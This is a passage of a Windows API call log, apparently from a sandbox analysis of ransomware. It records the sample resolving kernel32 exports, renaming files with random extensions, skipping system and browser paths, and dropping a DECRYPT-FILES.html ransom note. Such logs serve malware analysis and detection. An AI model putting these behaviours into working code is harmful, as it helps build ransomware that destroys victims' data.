returned="CopyFileTransactedW" [0132.563] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0132.563] lstrlenA (lpString="COPYFILEW") returned 9 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0132.563] lstrlenA (lpString="COPYLZFILE") returned 10 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0132.563] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0132.563] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0132.563] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0132.563] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0132.563] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0132.563] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0132.563] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0132.563] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0132.563] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0132.563] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0132.563] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0132.563] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0132.563] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0132.563] lstrlenA (lpString="CREATEEVENTA") returned 12 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0132.563] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0132.563] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0132.564] lstrlenA (lpString="CREATEEVENTW") returned 12 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0132.564] lstrlenA (lpString="CREATEFIBER") returned 11 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0132.564] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0132.564] lstrlenA (lpString="CREATEFILE2") returned 11 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0132.564] lstrlenA (lpString="CREATEFILEA") returned 11 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0132.564] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0132.564] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0132.564] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0132.564] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0132.564] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0132.564] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0132.564] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0132.564] lstrlenA (lpString="CREATEFILEW") returned 11 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0132.564] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0132.564] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0132.564] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0132.564] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0132.564] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0132.564] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0132.564] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0132.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0132.564] lstrlenA (lpString="CREATEJOBSET") returned 12 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0132.565] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0132.565] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0132.565] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0132.565] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0132.565] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0132.565] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0132.565] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0132.565] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0132.565] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0132.565] lstrlenA (lpString="CREATEPIPE") returned 10 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0132.565] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0132.565] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0132.565] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0132.565] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0132.565] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0132.565] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0132.565] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0132.565] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0132.565] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0132.565] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0132.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0132.566] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0132.566] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0132.566] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0132.566] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0132.566] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0132.566] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0132.566] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0132.566] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0132.566] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0132.566] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0132.566] lstrlenA (lpString="CREATETHREAD") returned 12 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0132.566] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0132.566] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0132.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0132.566] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0132.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0132.567] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0132.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0132.567] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0132.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0132.567] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0132.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0132.567] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0132.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0132.567] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.60OZuN") returned 52 [0132.567] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.60OZuN" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.60ozun"), dwFlags=0x0) returned 1 [0132.568] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.568] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.568] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.569] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0132.569] FindClose (in: hFindFile=0x3b81140 | out: hFindFile=0x3b81140) returned 1 [0132.569] CloseHandle (hObject=0x528) returned 1 [0132.569] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0132.569] lstrcmpW (lpString1="1049", lpString2=".") returned 1 [0132.569] lstrcmpW (lpString1="1049", lpString2="..") returned 1 [0132.569] lstrcatW (in: lpString1="1049", lpString2="\\" | out: lpString1="1049\\") returned="1049\\" [0132.569] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1049\\" | out: lpString1="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch=":\\Windows") returned 0x0 [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch="\\Program Files") returned 0x0 [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch="\\Games\\") returned 0x0 [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch="\\Tor Browser\\") returned 0x0 [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch="\\ProgramData\\") returned 0x0 [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0132.569] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1049\\", lpSrch="\\All Users") returned 0x0 [0132.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\") returned 27 [0132.569] lstrlenW (lpString="eogwkz.dat") returned 10 [0132.569] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\\\eogwkz.dat") returned 38 [0132.569] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1049\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0132.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\") returned 27 [0132.570] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0132.570] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\\\DECRYPT-FILES.html") returned 46 [0132.570] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1049\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0132.571] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0132.572] CloseHandle (hObject=0x470) returned 1 [0132.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\") returned 27 [0132.572] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1049\\*") returned="C:\\588bce7c90097ed212\\1049\\*" [0132.572] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x55455d50, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b80f00 [0132.573] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0132.573] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x55455d50, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0132.573] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0132.573] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0132.573] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55455d50, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x55455d50, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x55455d50, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0132.573] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0132.573] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55455d50, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x55455d50, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x55455d50, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0132.573] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0132.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\") returned 27 [0132.573] lstrlenW (lpString="eogwkz.dat") returned 10 [0132.573] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1049\\" | out: lpString1="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0132.573] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1049\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1049\\eogwkz.dat" [0132.573] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0132.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1049\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.573] CloseHandle (hObject=0x0) returned 0 [0132.574] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.574] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0132.574] lstrcmpiW 